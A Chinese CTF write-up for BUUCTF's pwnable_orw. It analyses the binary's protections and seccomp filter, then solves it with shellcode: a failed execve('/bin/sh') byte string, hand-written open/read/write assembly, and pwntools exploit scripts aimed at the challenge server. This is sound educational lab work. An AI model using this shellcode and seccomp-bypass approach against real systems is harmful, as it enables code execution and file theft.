BUUCTF pwnable_orw WP

限制系统调用&&shellcode

1,文件分析

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

有canary保护,但是又有存在RWX权限的段,可以考虑写入shellcode

seccomp-tools dump ./orw

 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

从这里面可以看出,能用的系统调用只有open(), read(), write(),exit()

2,IDA分析

直接进入主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  (shellcode)();
  return 0;
}

首先在orw_seccomp()中对系统调用做出限制,然后接受最长0xC8u的shellcode并执行

orw_seccomp()

unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h] BYREF
  char *v2; // [esp+8h] [ebp-80h]
  char v3[96]; // [esp+Ch] [ebp-7Ch] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-1Ch]

  v4 = __readgsdword(0x14u);
  qmemcpy(v3, &unk_8048640, sizeof(v3));
  v1 = 12;
  v2 = v3;
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
  return __readgsdword(0x14u) ^ v4;
}

关键点在于两次prctl()函数的调用

(以下信息来自https://man7.org/linux/man-pages/man2/prctl.2.html)

//SYNOPSIS
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
/* prctl() manipulates various aspects of the behavior of the
       calling thread or process.

       Note that careless use of some prctl() operations can confuse the
       user-space run-time environment, so these operations should be
       used with care.

       prctl() is called with a first argument describing what to do
       (with values defined in <linux/prctl.h>), and further arguments
       with a significance depending on the first one.  The first
       argument can be:

       PR_CAP_AMBIENT (since Linux 4.3)
              Reads or changes the ambient capability set of the calling
              thread, according to the value of arg2, which must be one
              of the following:

              PR_CAP_AMBIENT_RAISE
                     The capability specified in arg3 is added to the
                     ambient set.  The specified capability must already
                     be present in both the permitted and the
                     inheritable sets of the process.  This operation is
                     not permitted if the SECBIT_NO_CAP_AMBIENT_RAISE
                     securebit is set.

              PR_CAP_AMBIENT_LOWER
                     The capability specified in arg3 is removed from
                     the ambient set.

              PR_CAP_AMBIENT_IS_SET
                     The prctl() call returns 1 if the capability in
                     arg3 is in the ambient set and 0 if it is not.

              PR_CAP_AMBIENT_CLEAR_ALL
                     All capabilities will be removed from the ambient
                     set.  This operation requires setting arg3 to zero.

              In all of the above operations, arg4 and arg5 must be
              specified as 0.*/

第一次调用prctl函数 :禁止提权
第二次调用prctl函数 :限制能执行的系统调用只有open(),write(),exit()

3,解题过程

一开始忽视了seccomp的存在

直接用最传统的shellcode

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";
//execve('/bin/sh')

很显然竹篮打水一场空

后面自己想了想别的方法,既然靶机里肯定有flag文件,我们又可以执行shellcode,那就完全可以让shellcode帮我们打开flag文件(open()),读取(read())后将其打印(write())出来

下面shellcode的编写参考博客https://blog.csdn.net/qq_44768749/article/details/108256099

(技术太菜,只能边模仿边学习)

那么要完成的操作就3步

1,sys_open(‘flag’,0,0)

push 0x0  		
push 0x67616c66		#'flag'
mov ebx,esp			
xor ecx,ecx			#0
xor edx,edx			#0
mov eax,0x5			#调用号
int 0x80			#sys_open(flag,0,0)

2, sys_read(3,‘flag’,0x50) (这里不知道flag长度,先留多一点空间)

mov eax,0x3;    #调用号
mov ecx,ebx;	#ecx = char __user *buf
mov ebx,0x3;	#文件描述符 fd
mov edx,0x50;	#字节数
int 0x80;

3,sys_write(1,‘flag’,0x50)

mov eax,0x4;	# eax = sys_write
mov ebx,0x1;	# ebx = unsigned int fd = 1
int 0x80;

exp:

from pwn import *

context.log_level = 'Debug'

r = remote('node4.buuoj.cn',29002)
e = ELF('./orw')

payload = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
payload += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x50;int 0x80')
payload += asm('mov eax,0x4;mov ebx,0x1;int 0x80')

r.sendafter(':',payload)
r.interactive()
PS, 可以直接用pwntools里面的shellcraft,还能更简洁一点

exp_pro_1 :

from pwn import *

context.log_level = 'Debug'

r = remote('node4.buuoj.cn',29002)
e = ELF('./orw')

payload = shellcraft.cat("flag")

r.sendafter(':',payload)
r.interactive()

exp_pro_2:

from pwn import *

context.log_level = 'Debug'

r = remote('node4.buuoj.cn',29002)
e = ELF('./orw')

payload = shellcraft.open('./flag')
payload += shellcraft.read(3,0x23330500,100)
payload += shellcraft.write(1,0x23330500,100)
payload = asm(payload)

r.sendafter(':',payload)
r.interactive()

要点小结

1,seccomp类的题目关键在于搞清楚限制条件,不死磕某一种思路 ,想办法拿flag(execve()和system()基本上是被ban的重灾区)

2,prctl()函数的用法要结合官方文档理解

3,shellcode的编写需要多加练习

彩蛋

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值